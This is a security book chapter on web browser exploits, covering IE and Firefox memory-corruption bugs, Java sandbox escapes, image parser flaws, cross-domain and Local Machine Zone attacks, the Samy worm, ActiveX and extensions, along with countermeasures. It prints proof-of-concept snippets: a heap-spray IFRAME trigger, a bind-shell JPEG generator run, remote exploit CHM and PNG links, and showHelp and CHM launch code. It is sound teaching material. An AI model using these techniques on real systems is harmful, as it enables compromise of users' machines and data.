Exploits

The fundamental premise of this class of attacks is to get the web client to execute code that does the bidding of the attacker. From the attackers ' perspective, there are two primary injection points for executable content:

• Implementation Vulnerabilities

• Design Liabilities

There are a few issues to keep in mind when reading further about the exploits covered in this chapter.

Attackers invariably need to get victim(s) to view web content containing exploit code. The most direct way to do this is to e-mail them a URI controlled by the attacker.

The impact of most of these vulnerabilities depends on the security context in which the exploited web client is run. If the context is an administrative account, then full system control is usually achieved. Of course, compromising the "normal" user context is hardly a let-down for attackers, because this usually provides access to the user 's private data anyway. We'll discuss how the major browser vendors are attempting to address this later in the chapter under "Low-privilege Browsing."

Our attention will focus on the two browsers that share nearly 100 percent of the market at the time of this writing: Mozilla's Firefox and Microsoft's Internet Explorer (IE). However, because most browsers are built around standards like HTTP and HTML, as well as de facto standard engineering solutions to common problems like cross-domain script access, many of the issues we discuss will apply to most any web client (whether an actual exploit has been published or not).

We'll also focus on exploits and countermeasures most relevant to Windows users, since that is the dominant client computing environment today.

Implementation Vulnerabilities

 Attack    Web client implementation vulnerabilities result from (mostly) unintentional errors such as poor input handling. The canonical example of implementation vulnerabilities is the dreaded buffer overflow, scourge of software everywhere. Web clients have come under increased scrutiny for such flaws because of their widespread deployment. For example, Michal Zalewski announced a browser fuzzing tool called "manglme" on the popular security mailing list Bugtraq in late 2004. Not surprisingly, all this attention has turned up some serious bugs , some of which we'll discuss in upcoming sections.

One of the more serious examples of such a vulnerability is the IE createTextRange vulnerability publicized by Computer Terrorism in March of 2006. The bug resolves to a flaw in IE's createTextRange() method, which, when tickled appropriately, causes the system to reference an invalid memory address. "Darkeagle" published an exploit that leveraged nopsled pointers (see below) to increase the chance of the invalid reference landing on one of the pointers. This in turn leads to execution of the exploit shellcode (which in Darkeagle's case simply opened calc.exe). This vulnerability was a classic "IE 0-day," since publication of the exploit preceded Microsoft's release of a patch.

Another example is the IE IFRAME buffer overflow disclosed in late 2004, which was discovered by "Ned" of felinemenace.org using Zalewski's manglme program. Overlong strings loaded into the "SRC" or " NAME " attributes of an <IFRAME> tag were found to permit execution of arbitrary code on IE 6.0 on Windows XP SP1 and Windows 2000. The vulnerability actually resulted in a heap overflow, which required some preparation before exploitation. Berend-Jan Wever (a.k.a. Skylined) posted exploit code that bound a shell to port 28876, permitting an attacker to obtain console access to a victim system, running in the same context as the user browsing with IE.

The Skylined exploit was implemented in HTML containing some JavaScript that allocated heap memory filled with pointers (so-called "no-operation instruction" sliders, or nopsleds) and exploit shellcode. The second component of the HTML exploit references the nopsled pointers using the IFRAME vulnerability itself:

 <IFRAME SRC=file://BBB[578 B's] NAME="CCC[2,086 C's] [nopsled pointer bytes]</IFRAME> 

Because heap memory was previously saturated with nopsled references, the Skylined exploit stands a good chance of hitting one and "sliding" down to the shellcode. In our testing, the exploit caused memory warnings on IE 6 running on Windows XP (thus the proof-of-concept code wasn't designed to be stealthy), but otherwise worked like a charm .

This vulnerability was exploited by variants of the Bofra and MyDoom AG variant in late 2004. It was also used by well-known adware trojans to hijack victim browsers and forces them to display popup ads based on keywords in the sites they are visiting, creating revenue for the adware authors.

Like any software, Mozilla-based browsers are not without problems of their own in this space. In February 2006, Mozilla announced multiple vulnerabilities in Firefox, ranging from integer overflows, buffer overflows, freed memory use, heap corruption, and cross-domain access. A good example from this set includes the highly critical heap overflow in the "QueryInterface" method of the Location and Navigator objects, reported in early 2006 by HD Moore, based on concepts reported earlier in private to the Mozilla Foundation by Georgi Guninski. HD Moore published a Metasploit Framework module for exploiting this flaw.

In September 2005, Tom Ferris reported a heap-based buffer overflow in Firefox's handling Internationalized Domain Name (IDN)encoded URIs that contained the 0xAD character (Unicode "soft hyphen"). By convincing a user to view an HTML document, an attacker could execute arbitrary code with the privileges of the calling user. Berend-Jan Wever ("SkyLined" again) published exploit code based on a technique similar to the one in our discussion of the IE IFRAME buffer overflow: spraying heap memory with pointers (nopsleds) and exploit shellcode such that when the IDN vulnerability is tickled, it is likely to hit one of the areas in heap memory that he's occupied.

Firefox also got tagged with Zalewski's mangleme tool in late 2004 just like IE, driving the release of fixes in early Firefox versions. Links to more information about all of these issues is available in the "References and Further Reading" section.

Java Vulnerabilities   Sun Microsystem's Java programming model was created primarily to enable portable, remotely-consumable software applications. Java includes a security sandbox that restrains programmers from making many of the mistakes that lead to security problems, such as buffer overflows. Most of these features can be explored in more detail by reading the Java Security FAQ, or by reading the Java specification (see "References and Further Reading"). In theory, these mechanisms are extremely difficult to circumvent. In practice, however, Java security has been broken numerous times because of the age-old problem of implementation failing to follow the design.

In November of 2004, security researcher Jouko Pynnonen published an advisory on a devastating vulnerability in Sun's Java plug-in, which permits browsers to run Java applets. The vulnerability essentially allowed malicious web pages to disable Java's security restrictions and break out of the Java sandbox, effectively neutering the security of the platform. Jouko had discovered a vulnerability in Java's reflection API that permitted access to restricted, private class libraries. His proof-of-concept JavaScript shown here accesses the private class sun.text.Utility:

 [script language=javascript] var c=document.applets[0].getClass().forName('sun.text.Utility'); alert('got Class object: '+c) [/script] 

What's frightening about this is that the private class is accessible to JavaScript (in addition to Java applets), providing for easy, cross-platform exploitability via web browser. The sun.text.Utility class is uninteresting, but Jouko notes in his advisory that an attacker could instantiate other private classes to do real damagefor example, gain direct access to memory, or methods for modifying private fields of Java objects (which can in turn disable the Java security manager).

Jouko nailed Java again in mid-2005 with his report of a serious vulnerability in Java Web Start, a technology for easy client-side deployment of Java applications. Upon installation of the Java Runtime Engine (JRE), browsers like IE are configured by default to auto- open JWS files that define Java runtime properties (these files have a .jnlp extension). By simply omitting quotes around certain arguments in a .jnlp file, the Java sandbox can be disabled, permitting an attacker to load a malicious Java applet that could compromise the system. Jouko proposed a proof-of-concept exploit involving a JNLP file hosted on a malicious web server that was launched in an IFRAME, avoiding user interaction. The JNLP file then substituted an arbitrary security policy file hosted on the attacker's web server in place of the default Java security sandbox. The new policy granted full permissions to Java applications, including the ability to launch OS-dependant binary executables. Game over.

Scarily, this exploit could work on any platform supporting Java Web Start, including IE on Windows, or Mozilla Firefox or Opera on Linux.

Web Image Parser Vulnerabilities   Once a vulnerability trend in popular Internet client software is exposed, security researchers hone in on it like wolves for the jugular, and often find collateral damage in similar software routines. Thus, almost all web clients fell prey to implementation flaws in shared image parser libraries in 2004, 2005, and 2006. Displaying images is a common requirement for web clients, whether browsers or e-mail readers, and thus the software routines for handling common web image formats like JPEG, GIF, PNG, and even less common formats like BMP and WMF, became a natural target for attackers.

One of the most painful examples of this was the Windows Metafile (WMF) issue reported to Microsoft in late 2005 by Dan Hubbard of WebSense. WMFs containing specially crafted SETABORTPROC "Escape" records allowed arbitrary function to be executed when the rendering of a WMF file fails. By tricking a user into opening a malicious WMF directly, or into visiting a malicious web site hosting such an image (with IE), or even into indexing content on their local machine using utilities like Google Desktop Search (GDS), the vulnerability could be exploited.

Note 

Kaspersky Labs asserted that WMF exploit code was being traded on the Internet for $4,000 some weeks before the Microsoft bulletin publication.

One could argue that this was more of a design issue, since at the time, SETABORTPROC Escape was obsolete, and was provided only for compatibility with 16-bit versions of Windows only. The real culprit was Microsoft's conscious decision to support backwards compatibility, since SETABORTPROC Escape arguably behaved as it was originally designed. In fact, Microsoft's subsequent patch effectively disabled SETABORTPROC, supporting this viewpoint.

Exploit code proliferated on the Internet nearly simultaneous with the announcement of the vulnerability. HD Moore published a MetaSploit Framework module, and several viruses/worms and adware Trojans began using the exploit. Links to many of these can be found in "References and Further Reading."

Another great example is the integer underflow vulnerability in Microsoft's Graphics Device Interface (GDI+) JPEG handler reported to Microsoft by Nick DeBaggis and published in September of 2004. Exploitation of the vulnerability was again fairly straightforwardsimply get the victim to render a maliciously crafted JPEG file and whammo, the attacker could execute arbitrary commands with the same privilege of the current user context (typically admin for most home users). Within days of the publication of the Microsoft bulletin, canned exploits for generating malicious JPEGs that could bind a command shell to a listening port or pop a shell back to the remote attacker's computer were available on the Internet, making this a point-and-click operation even for script kiddies. Examples of exploits include MSjpegExploitByFoToZ.c by FoToZ and JpegOfDeath.c by John Bissell (based on the original FoToZ exploit (see "References and Further Reading" for links).

Using Bissel's exploit-generation tool is simplejust run the tool with the necessary arguments to generate a malicious JPEG file having the parameters you desire . In the example below, we've selected simple bind mode (this opens a listener on the machine where the JPEG is executed) on port 8888. And of course, you must provide the name of the file you want to generate. We selected a name below that is likely to generate maximum interest in a certain community of Internet users (sigh).

 C:\>jpeg -p 8888 AnnaKournikova.jpg +------------------------------------------------+   JpegOfDeath - Remote GDI+ JPEG Remote Exploit      Exploit by John Bissell A.K.A. HighT1mes                   September, 23, 2004                +------------------------------------------------+   Exploit JPEG file AnnaKournikova.jpg has been generated! 

Clicking a link to AnnaKouurnikova.jpg embedded in an HTML page exploits the buffer overflow and executes Bissel's shellcode as the current user. A simple telnet to the now-compromised system on port 8888 will reveal a command shell with the same privileges. A remote attacker now potentially has complete control of the user's session.

Another good example of the potential havoc caused by image rendering implementation flaws is the PNG graphics library vulnerabilities announced in August 2004. Chris Evans is credited with discovering these problems during a source code audit of the libpng PNG reference libraries. Exploit code of course rapidly made its way onto the Internet. "infamous42md" posted po.c (we assume short for "proof-of-concept") and a related test utility called pngslap.c to Bugtraq, and it was quickly archived to many sites across the Internet. These exploits work almost identically to the JPEG/GDI+ exploit we just discussed (comments in the source code recommend a memory offset of 0xbffff8b0).

"Zcrayfish" also posted a proof-of-concept PNG exploit, which was not available at the time of this writing. In our tests while the page was live, the PNG on this site produced reliable crashes in pngfilt.dll running in IE 6.0 on Windows XP SP2. To get a sense of how easy it would be to use an image like the zcrayfish example, consider the following 1-pixel-by-1-pixel PNG image (practically invisible) inserted innocuously in an HTML e-mail:

 <img src=" http://zcrayfish.augurtech.com/bad.htm/bad/bad2o6.png" width=1 height=1 alt="bad2o6.png"> 

The really scary thing about libpng and reference libraries in general is that they can be linked into other applications rather surreptitiously. Besides relying on the memory of the developer that links this code, the only way to identify products that could be vulnerable is to analyze the source or binary code itself. An interesting contrast arose around this issue at the time of the original advisory publication. Microsoft issued no guidance on whether its products were affected or not, whereas the Mozilla Foundation and Opera Software ASA released updates to their affected products almost immediately.

It's worth noting before we close out our discussion on graphics rendering vulnerabilities that prior to the libpng and JPEG/GDI+ issues, Microsoft published vulnerabilities related to other graphics rendering libraries, including those for bitmaps (BMP) and Graphic Image Format (GIF), two very popular image file types. See "References and Further Reading" for more information.

Implementation Vulnerability Countermeasures

 Countermeasure    The primary recommendation for mitigating implementation vulnerabilities is to patch timely . If you're not familiar with your favorite browser's security patch announcement lists and download sites, then you shouldn't be using the Internet. IE users can set up automatic download and update using tools like Microsoft's Automatic Updates.

Of course, not everyone will always be able to patch timely enough. The best proactive stance against 0-day attacks is containment. Run commonly targeted software like web browsers at a reduced privilege level, or in some kind of sandbox where even if they get exploited by the latest 0-day, the damage is restricted to non-sensitive components of the overall system. See the upcoming section "Low-privilege Browsing" for more information.

Although not widely appreciated, Microsoft has included a utility called Software Restriction Polices (SRP, formerly SAFER) in its operating systems since Windows XP and Server 2003. SRP is focused on environments managed by IT administrators through Active Directory Group Policy, and it allows control over the type of software (including components like ActiveX controls) that can run, based on several parameters (including a cryptographic fingerprint of the file, a software publisher certificate used to digitally sign a file, the local or universal naming convention path of where the file is stored, and/or the IE Internet Zone in which the software was downloaded). Although it can be a pain to manage security via SRP because software changes so frequently (for example, consider how often you'd have to update IE's SRP signature assuming biweekly patches from Microsoft), it does have benefits for those willing to put forth the effort.

Caution 

SRP can be bypassed using published methods. See "References and Further Reading."

Of course, none of this spares users the effort of behaving with basic least privilege best practices. Don't run as super-user, and browse with appropriate skepticism. Be extremely wary of dialog prompts concerning installation of software or components, and never click hyperlinks in e- mails from untrustworthy sources.

Design Liabilities

 Attack    Web client design liabilities result from by-design "features" that were intentionally put into the product that provide a consistently exploited target for attackers. There is a somewhat blurry line between unintentional implementation vulnerabilities and intentional features, which are both often used to attack design liabilities. We'll try to illustrate this subtlety with some examples.

Cross-domain Access   One of the most popular examples of this is cross-domain access attacks. Most modern browsers use a security model based on "domains," which are arbitrary security boundaries designed to prevent windows/ frames /documents/scripts from one source (usually specified by a DNS domain) from interacting with resources originating from another location. This is sometimes also referred to as the " same-origin policy," per the original Netscape JavaScript reference manuals. For example, if evilsite.com could execute JavaScript in Citibank.com, Citi's customers could be victimized by (say) a simple e-mail containing malicious script that hijacked their cookies, logged onto Citi's online banking web site, and wired cash to the Western Union location of the attacker's choice.

The history of IE cross-domain exploits is long and varied. In 2006, Matan Gillon illustrated how to inject Cascading Style Sheets (CSS) into remote web pages containing curly brackets ({ }), which are normally used to define style selectors, properties, and values. By exploiting a flaw in the IE parser for CSS, and an operational oversight by Google, Gillon crafted a proof-of-concept exploit that covertly grabbed user data when they used Google's Desktop Search utility.

In early 2005, Michael Evanchik, Paul from Greyhats Security, and http-equiv reported that the HTML Help ActiveX Control (hhctrl.ocx) did not properly determine the source of windows opened by the "Related Topics" command, permitting an attacker to open two different windows pointed to the same domain, thus connecting the parent windows across the domain security boundary. Incidentally, this hhtctrl.ocx issue was reported after Microsoft implemented its Local Machine Zone (LMZ) lockdown in Windows XP service pack 2 (XP SP2), but more on this later.

In mid-2004, Paul from GreyHats Security reported a cache confusion vulnerability with IE, where it would essentially forget the source of a cached reference to a function when the parent domain was changed, allowing an attacker to control the context in which the cached function was executed. This would allow execution of script in arbitrary domains of the attacker's choice, simply by getting the victim to view some malicious HTML. The list goes on.

Firefox fell prey to the cross-domain bug several times as well. As noted earlier, the slew of vulnerabilities announced in February 2006 included a few related to cross-domain access. Another of the more memorable Firefox cross-domain access vulnerabilities includes attacks that used Firefox's early implementation of tabbed browsing to bypass same-origin restrictions.

In January 2006, researcher Michal Zalewski exhumed one of the main design problems with the same-origin rule based on DNS names . The nature of the problem had been known for a number of years : a domain must be defined using a particular number of periods, or dots, to prevent violations of the same-origin restriction. The standard rule implemented in commercial browsers is that two or more dots defines a subdomain. This works fine in most scenarios: interaction between content from subdomains like "support.site.com" with the parent "site.com" is permitted, but its access to other domains like "othersite.com" is blocked by the same-origin rule.

However, because of the differences in international domainnaming conventions, the two-dot rule is not always reliable. Consider, for example, "site.com" versus "site.co.uk," which are likely related to the same parent organization, but would be considered separate by most browsers because of the two-dot same-origin implementation. Even worse , Zalewski proposed three ways to bypass the same-origin restrictions in certain scenarios based on defeating assumptions made by the "multidot" implementations in IE and Firefox. A link to Zalewski's paper on "Cross-Site Cooking" (as he called it) is available in "References and Further Reading."

Attacking the IE LMZ   The IE Local Machine Zone (LMZ, also known as the "My Computer" zone) is designed to differentiate between potentially malicious remote scripts and "friendly" executables loaded from the local machine. The LMZ is a "special" zone in IE's implementation of the domain security model, in which code runs with the privilege of the user running IE. Thus, attackers have traditionally sought to inject malicious code into the LMZ. LMZ injection exploits proliferated to such an extent that Microsoft finally released a feature called "Local Machine Lockdown" in Windows XP Service Pack 2 (XPSP2). Many have argued for years that the whole concept of remote access to "friendly" local scripts is unrealistic , and the LMZ design should be scrapped altogether.

Case in point, it didn't take long for notorious web client hacker http-equiv to bypass LMZ Lockdown, illustrating the ongoing challenges of defending against design liabilities. Thor Larholm offered a solid description of the underpinnings of this exploit. Essentially, the exploit uses HTML image element (IMG) with the DYNSRC attribute pointed to a remote file. When this image is drag-n-drop-ed onto a window that references local content, the file referenced in the DYNSRC attribute can be planted on the victim's machine in a known location. Http-equiv posted a demonstration exploit called "ceegar.html" that uses the AnchorClick behavior to open "C:\WINDOWS\PCHealth\" in a named window, which is then used as a drag-n-drop point for the file referenced by the DYNSRC attribute.

Rafel Ivgi posted another example of an LMZ access mechanism in mid-2004. Dutch security researcher Jelmer Kuperus (known by his online handle "jelmer") coded up proof-of-concept exploit that uses the IE showModalDialog method within a malicious web page (or HTML e-mail) that creates a modal dialog window in the upper-left corner of the user's screen (a modal dialog box retains the input focus while open; the user cannot switch windows until the dialog box is closed). The modal dialog references the location of another object, an IFRAME. Through a sort of timing trick, Jelmer changes the location of the IFRAME while the modal dialog is open, and when it closes , because of the vulnerability, the location referenced by the IFRAME is under Jelmer's control, and it is set to the LMZ. The following illustration shows Jelmer's proof-of-concept modal dialog boxyou can see from the status bar for this window that it is executing in the "Local Computer" security zone.

From here, Jelmer loads some JavaScript in more IFRAMEs located in the LMZ. These scripts do the heavy lifting , using the ADODB.stream ActiveX control installed with IE to copy an executable from his site down to the local machine and run it (he overwrites the Windows media Player executable at C:\Program Files\Windows Media Player\ wmplayer .exe to disguise its true purpose). Jelmer's executable is a harmless graphics clip, but the point is madecode can now be executed with the full privileges of the logged-on user.

In early 2004, Thor Larholm announced that specially crafted InfoTech Storage (ITS) and MIME-Encapsulated HTML (MHTML) URIs could allow malicious HTML code to run in IE's LMZ. The exploit works by referencing a malicious Compressed HTML Help (CHM) file using Microsoft's implementations of the ITS or MHTML protocols. CHMs are historically notorious for being abused as exploitation vectors. Here's an example of a malicious link that could be used to exploit this vulnerability. Note the trailing double slashes , the key to triggering the input validation error:

 ms-its:mhtml:file://C:\nosuchfile.mht! http://www.example.com//exploit.chm::exploit.html 

In this example, exploit.html will execute in the context of the LMZ. It took Microsoft over a month to release a patch for this vulnerability.

Another feature of IE that has been persistently exploited for cross-domain access is the showHelp function. showHelp is an IE window method for displaying HTML and CHM files. In 2003, Andreas Sandblad reported that file:// and res:// URIs bypassed restrictions on the type of file that showHelp could open. Here's a simple example he provided:

 showHelp("file:") showHelp("res://shdoclc.dll/about.dlg") showHelp("javascript:alert('Alert in the LMZ')") 

The first line effectively disables the security restrictions on showHelp, which is normally only able to open .htm and .chm files. The last two lines load a resource and execute JavaScript in the LMZ, respectively. Later in the same year, Arman Nayyeri reported a directory traversal flaw with showHelp that permitted remote execution of arbitrary CHM files on the victim system, in the LMZ. Nayyeri's proof-of-concept exploit is shown here (manual line breaks have been added due to page width constraints):

 showHelp("mk:@MSITStore:iexplore.chm:: ..\..\..\..\chmfile.chm::/fileinchm.html") 

Nayyeri also claimed the target CHM file is not required to have a .chm file extension if the double colon string ('::') is used in the showHelp() call.

Georgi Guninski used showHelp frequently to open CHM files containing shortcuts pointing to arbitrary code. In this example from Georgi, a CHM file containing this shortcut would launch Wordpad:

 <OBJECT   id=hh   classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"   width=100   height=100>   <PARAM name="Command" value="ShortCut">   <PARAM name="Button" value="Bitmap:shortcut">   <PARAM name="Item1" value=",wordpad.exe,">   <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> /*alert(window.location +" "+ document.URL);*/ hh.Click(); </SCRIPT> 

JavaScript and Active Scripting   Originally christened "LiveScript," and still frequently associated with Sun's Java, JavaScript is actually a wholly separate scripting language created by Netscape Communications in the mid-1990s. JavaScript is one of the most widely used client-side scripting languages on the Web today, even across Microsoft clients and online services.

JavaScript's blend of Perl-like ease-of-use with C/C++-like power was instrumental in driving this popularity. However, these exact features make it immensely attractive to malicious hackers as well. Even the simplest JavaScript methods can pop up windows and read/write cookies, making it trivial to fool users into entering sensitive information or send their sensitive data to other sites.

Microsoft platforms execute JavaScript and other client-side scripting languages (such as Microsoft's own VBScript) using a Component Object Model (COM)based technology called Active Scripting.

To be fair, the security challenges presented by JavaScript and Active Scripting don't necessarily derive from problems inherent to the technologies (although there were some published vulnerabilities in the past like any software language), but rather from their accessibility and power being easily abused to do evil. In addition, as we've seen throughout this chapter, these technologies can be a devastating tool for capitalizing on other security holes in Internet client software, especially cross-domain access violation issues discussed earlier.

Some of these problems are coming home to roost with the next -generation web technology called AJAX (Asynchronous JavaScript and XML; see Wikipedia for background). One of the most illustrative examples of the potential security ramifications of AJAX was the MySpace, or "Samy," worm that brought down the popular online social networking site MySpace.com in October 2005. One of the users of MySpace, someone called "Samy," decided to dramatically increase his popularity (defined by the number of other MySpace users who added Samy's profile to their "Friends" list) by automatically adding himself to the profile of anyone who viewed his profile, using a JavaScript exploit. Furthermore, anyone viewing a profile "infected" by viewing Samy's original profile also became infected. Within 20 hours, Samy had over a million friend requests . MySpace.com went offline for a brief period to address the spread of Samy's worm.

The very fist step of Samy's posted technical explanation (see "References and Further Reading" for a link) indicates "We needed javascript (sic) to get any of this to even work," indicating the necessarily of JavaScript in exploiting online users. The rest of Samy's explanation is a fascinating read, describing in gory details the mental gymnastics he used to evade the numerous input validation countermeasures in place on MySpace.com. Some highlights include

• Embedding JavaScript in CSS tags (MySpace blocked all other HTML tags).

• Used "java\nscript" (that is, java [NEWLINE]script) to avoid MySpace's stripping of the literal word "javascript." This turns out to be an implementation flaw in some browsers, which actually ignore the newline when interpreting this.

• Used JavaScript String.fromCharCode to convert quotes (") from decimal ASCII to avoid restrictions on quotes.

• Used the XML-HTTP object (central to AJAX functionality) to perform the heavy lifting of HTTP GETs and POSTs from/to the victim's profile (which had the added advantage of mimicking cookies and other tokens used by MySpace to block scripted access to some pages).

Pretty sophisticated stuff for someone who started out with the simple goal of easily viewing "pictures of random, hot girls whenever I please ." Web site operators should imagine what a more resourceful attacker could do to a web application like MySpace!

Note 

One of our favorite quotes from Samy: "Girls want guys who have computer hacking skills." We just thought you should know.

Abusing ActiveX   ActiveX has been the center of security debates since its inception in the mid-90s, when Fred McLain published an ActiveX control that shut down the user's system remotely. ActiveX is easily embedded in HTML using the <OBJECT> tag, and controls can be loaded from remote sites or the local system. These controls can essentially perform any task with the privilege of the caller, making them extraordinarily powerful, and also a traditional target for attackers. Microsoft's Authenticode system, based on digital signing of "trusted" controls, is the primary security countermeasure against malicious controls. (See "References and Further Reading" for more information about ActiveX and Authenticode.)

Traditionally, attackers have focused on controls that are pre-installed on victims' Windows machines, since they are already authenticated, and require no prompting of the user to instantiate. In mid-1999, Georgi Guninski and Richard M. Smith, et al., reported that the ActiveX controls marked "safe for scripting" flag could be instantiated by attackers without invoking Authenticode. This only increased the attack surface of ActiveX controls that could be used for abusive purposes. From an attacker's perspective, all you need to do is find a pre-installed ActiveX control that performs some privileged function, such as read memory or write files to disk, and you're halfway to exploit nirvana. Table 10-1 lists some of the more sensationally abused ActiveX controls from recent memory.

Table 10-1: Selected ActiveX Security Vulnerabilities

ActiveX Control	Past Vulnerability	Impact
DHTML Editing	LoadURL method can violate same origin policy	Read and write data
Microsoft DDS Library Shape Control	Heap memory corruption	Arbitrary code execution as caller
JView Profiler	Heap memory corruption	Arbitrary code execution as caller
ADODB.Stream	Noneused to write data after exploiting LMZ	Files with arbitrary content placed in known locations
Shell.Application	Use CLSID to disguise malicious file being loaded	(same as ADODB.Stream)
Shell.Explorer	Rich folder view drag-n-drop timing attack	(same as ADODB.Stream)
HTML Help	Stack-based buffer overflow from overlong "Contents file" field in .hhp file	Arbitrary code execution as caller
WebBrowser	Potentially all exploits that affect IE	Arbitrary code execution as caller
XMLHTTP	Old: LMZ access New: none, used to read/ download files from/to LMZ	Read/write arbitrary content from/to known locations

The Evil Side of Firefox Extensions   Firefox's Extensions are the functional equivalent of IE's ActiveX controls. If a user installs a malicious Extension, it can do anything with the privilege of the user. Firefox's security model for extensions is also quite similar to ActiveX: the end user makes the final decision about whether to install an extension or not (and which do you think they choose ten times out of ten? That's right: "Show me the dancing bunnies!"). A concrete example of a potentially abusive Firefox extension is FFsniFF by azurit, a simple Firefox extension that will parse HTTP form submissions for nonblank password fields, and if found, mail the entire form to an attacker-defined e-mail address (see "References and Further Reading" for a link to FFsniFF).

The major difference in this department is that there are a lot more ActiveX controls lying around Windows machines waiting to be tickled, but of course this may change as Firefox extensions gain popularity.

Caution 

Extensions are installed on a per-user basis on both Windows and Linux. To avoid the possibility of one user's Extensions being used to attack another user, don't share accounts (such as with kiosks or lab computers), and don't use the super-user account to install extensions.

XUL   XUL (XML User Interface Language, pronounced "zool") is a user interface markup language that can be used to manipulate portions of the user interface (or "chrome") of Mozilla applications such as Firefox and Thunderbird (Mozilla's e-mail client). Some have compared XUL's security implications with that of the LMZ in IE, since it defines elements such as windows, scripts, and data sources that could easily be used to violate the same-origin policy if any implementation vulnerabilities exist.

In 2006, "moz_bug_r_a4" reported an input validation flaw in the XULDocument.persist() function that permitted injection of arbitrary XML and JavaScript code into the localstore.rdf file, which is executed with the permissions of the browser at browser launch time. This is functionally equivalent to an IE LMZ script execution vulnerability (although the browser would have to be restarted in the case of Firefox).

XUL also has implications for confusing web content for chrome. For example, in mid-2004, Jeff Smith reported that Firefox didn't restrict web sites from including arbitrary, remote XUL that can be used to hijack most of the user interface (including tool bars, SSL certificate dialogs, address bar and more), thereby controlling almost anything the user sees. The ability to control so many aspects of the Mozilla user interface creates great potential for tricking users with fraudulent windows, dialog boxes, and so on (see the upcoming "Trickery" section).

Design Liability Countermeasures

 Countermeasure    To mitigate against the issues we just covered, IE users should ensure they are running Windows XP Service Pack 2 or later with the LMZ Lockdown feature, and read the section entitled "IE Security Zones" later in this chapter. You should also strongly consider upgrading the IE7 as soon as possible, since it further closes down dangling loopholes for cross-domain access. Firefox users should read "Firefox Secure Configuration" later in this chapter. We'll discuss countermeasures for ActiveX in more detail next.

ActiveX Countermeasures   Users should restrict or disable ActiveX in the appropriate IE zone (see the section entitled "IE Security Zones" later in this chapter).

From a developer's perspective, don't write safe-for-scripting controls that could perform privileged actions on a user's system. We also encourage developers to check out the SiteLock tool, which is not warrantied or supported by Microsoft but can be found at http://msdn.microsoft.com/archive/en-us/samples/internet/components/sitelock/default.asp. When added to your build environment, the SiteLock header enables an ActiveX developer to restrict access so that the control is only deemed safe in a predetermined list of domains.

Most recently, Microsoft has begun "killing" potentially dangerous ActiveX controls by setting the so-called kill-bit for a given control. Software developers that simply want to deactivate their ActiveX controls rather than patch them can take this route. Individual users can also manually set kill bits for individual controls using the kill-bit'ing techniques described in "References and Further Reading."